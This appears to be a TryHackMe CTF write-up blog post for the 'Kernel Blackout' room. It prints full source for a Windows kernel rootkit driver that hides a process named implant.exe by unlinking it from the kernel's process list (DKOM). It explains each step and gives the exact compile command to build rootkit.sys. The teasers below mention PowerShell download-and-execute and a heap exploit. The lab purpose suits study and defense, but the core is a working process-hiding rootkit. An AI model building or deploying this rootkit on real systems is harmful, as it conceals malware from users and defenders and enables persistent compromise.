TryHackMe - Kernel Blackout CFT

-

 



1. Script Explanation (rootkit.c)


Script :

#include <ntddk.h>

// Offsets for Windows 10 x64 (Version 19041 - THM Lab) #define LINKS_OFFSET 0x2e8 // ActiveProcessLinks #define NAME_OFFSET 0x450 // ImageFileName

void DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Driver Unloaded. Note: Hidden processes remain hidden!\n"); }

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

// Start iterating from the System process

PEPROCESS CurrentProcess = PsInitialSystemProcess;

PLIST_ENTRY CurrentListEntry;

char* imageName;

BOOLEAN found = FALSE;


DbgPrint("Searching for implant.exe to hide it...\n");


// Loop through the process list (limit to 1000 to avoid hangs)

for (int i = 0; i < 1000; i++) {

    imageName = (char*)CurrentProcess + NAME_OFFSET;


    // Check if this is our target process

    if (strstr(imageName, "implant.exe")) {

        DbgPrint("Found target: %s. Unlinking now...\n", imageName);


        // Get the list entry for the current process

        CurrentListEntry = (PLIST_ENTRY)((char*)CurrentProcess + LINKS_OFFSET);


        // DKOM: Remove the process from the list by pointing 

        // the neighbors' links to each other, skipping the current one.

        CurrentListEntry->Blink->Flink = CurrentListEntry->Flink;

        CurrentListEntry->Flink->Blink = CurrentListEntry->Blink;


        // Point the hidden process's links to itself 

        // to prevent system crashes during cleanup.

        CurrentListEntry->Flink = CurrentListEntry;

        CurrentListEntry->Blink = CurrentListEntry;


        found = TRUE;

        DbgPrint("Process implant.exe is now hidden from Task Manager.\n");

        break;

    }


    // Move to the next EPROCESS structure in the list

    CurrentListEntry = (PLIST_ENTRY)((char*)CurrentProcess + LINKS_OFFSET);

    CurrentProcess = (PEPROCESS)((char*)CurrentListEntry->Flink - LINKS_OFFSET);


    // If we wrapped around back to System, stop

    if (CurrentProcess == PsInitialSystemProcess) break;

}


if (!found) {

    DbgPrint("Could not find implant.exe. Is it running?\n");

}


return STATUS_SUCCESS;


}

The goal of this script is DKOM (Direct Kernel Object Manipulation). It finds a specific process in the kernel's memory and "unlinks" it from the list that Windows uses to display running programs.

The Headers and Offsets

  • #include <ntddk.h>: This is the "Windows Driver Kit" header. It contains all the definitions and functions needed to talk to the Windows Kernel.

  • LINKS_OFFSET (0x2e8): In Windows, every process is represented by a structure called EPROCESS. This offset is the exact location inside that structure where the ActiveProcessLinks are stored. These links are pointers to the Next and Previous processes.

  • NAME_OFFSET (0x450): This is the location inside EPROCESS where the process name (like implant.exe) is stored as a string.

The Functions

  • DriverUnload: This allows you to stop the driver. Without this, the driver stays in the kernel until you restart the computer.

  • DriverEntry: This is the "Main" function for drivers. It runs the moment the driver is loaded.

The Logic (The Loop)

  1. Starting Point: It starts at PsInitialSystemProcess, which is always the "System" process (PID 4).

  2. The Search: It loops through the list of processes one by one.

  3. The Match: It checks the name at NAME_OFFSET. We use strstr to see if "implant.exe" is part of that name.

  4. The "Unlinking" (The Trick):

    • In a doubly-linked list, Process A points to B, and B points to C.

    • To hide Process B, we tell A to point directly to C, and C to point directly to A.

    • CurrentListEntry->Blink->Flink = CurrentListEntry->Flink; (Previous process now points to the next one).

    • CurrentListEntry->Flink->Blink = CurrentListEntry->Blink; (Next process now points to the previous one).

  5. Safety: We point the hidden process's links to itself. This prevents the system from crashing if it ever tries to look at that specific process's pointers.





2. Command Line Explanation

The command you run in the x64 Native Tools Command Prompt is quite long because it needs to tell the compiler exactly how to build a "Kernel-Mode" file instead of a normal "User-Mode" .exe.

The Command:

DOS
cl /W4 /D_AMD64_ /D_WIN64 /D_KERNEL_MODE rootkit.c /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\km" /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared" /link /driver /entry:DriverEntry /subsystem:native /out:rootkit.sys "C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\km\x64\ntoskrnl.lib"

Breakdown of Flags:

  • cl: The Microsoft C/C++ Compiler.

  • /W4: Sets the warning level to high (good for catching errors).

  • /D_AMD64_ /D_WIN64: Tells the compiler we are building for a 64-bit system.

  • /D_KERNEL_MODE: Tells the compiler this code will run inside the Kernel.

  • /I[...]: "Include" paths. This tells the compiler where to find the header files (ntddk.h).

  • /link: Passes the following arguments to the Linker (the tool that packages the code).

  • /driver: Tells the linker to create a .sys driver file.

  • /entry:DriverEntry: Defines the starting point of the driver (our DriverEntry function).

  • /subsystem:native: Drivers don't use Windows UI; they are "native" to the kernel.

  • /out:rootkit.sys: The name of the final file.

  • ntoskrnl.lib: This is the library that contains the actual code for kernel functions like PsInitialSystemProcess.

Comments

Post a Comment

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

-
Image
  Threat Hunt Walkthrough The "Typo Snare" scenario on TryHackMe is a fantastic real-world simulation of a sophisticated, multi-stage attack. It starts with a simple mistake and escalates to a full domain compromise, culminating in ransomware. This post will walk you through the entire attack chain, phase by phase, showing you how to find each piece of evidence using Elastic KQL queries. Phase 1: Initial Access & Execution What Happened: The attack began when the user perry.parsons on workstation WKSTN-03 needed a 7-Zip tool. He googled it, clicked a typosquatted link ( 7zipp.org ), and downloaded a trojanized installer. This installer executed a PowerShell script ( 7z.ps1 ) directly from the attacker's server to establish the initial foothold. How to Find It: You are looking for a PowerShell process that was likely spawned by a browser and contains a command to download and execute a script ( iwr for Invoke-WebRequest and iex for Invoke-Expression ). KQL Query...
Read more

TryHackMe - Threat Hunting Simulator - Health Hazard

-
Image
  Scenario overview After months of juggling content calendars and caffeine-fueled brainstorming, co-founder Tom Whiskers finally carved out time to build the company’s first website. It was supposed to be simple: follow a tutorial, install a few packages, and bring the brand to life with lightweight JavaScript magic.   But between sleepless nights and copy-pasted code, Tom started feeling off. Not sick exactly, just off. The terminal scrolled with reassuring green text, the site loaded fine, and everything looked normal.   Then, a strange file appeared on the system. No one could say where it came from. It wasn’t part of the tutorial, didn’t match any known dependencies, and didn’t even run.   It just waited.   Scenario objectives Determine how a threat actor first gained a foothold on the system. Identify suspicious activity that may point to the initial compromise method. Investigate signs of malicious execution following the initial access. Analyse the logs ...
Read more

TryHackmMe Side Quest AOC 2025 - Scheme Catcher (Insane Level)

-
Image
  Second Side Quest (Scheme Catcher) started with discovering the key in the Advent of Cyber Day 9 room and using it to remove the firewall on the target machine. Afterwards, fuzzing a web application on the target for directories we were able to discover a file with a binary inside and analyzing the binary we discovered another endpoint. Checking out this endpoint we discovered the application running on another port and reverse enginering it we discovered a Use-After-Free vulnerability and with a heap exploitation exploit we were able to get remote code execution and a shell inside a container. Inside the container we discovered a SSH key which we used to get a shell on the host and reverse engineering and exploiting a vulnerable kernel module we were able to escalate to root and complete the room. Python Script : #!/usr/bin/env python3 from pwn import * import io_file context . update ( arch = " amd64 " , os = " linux " , log_level = " error "...
Read more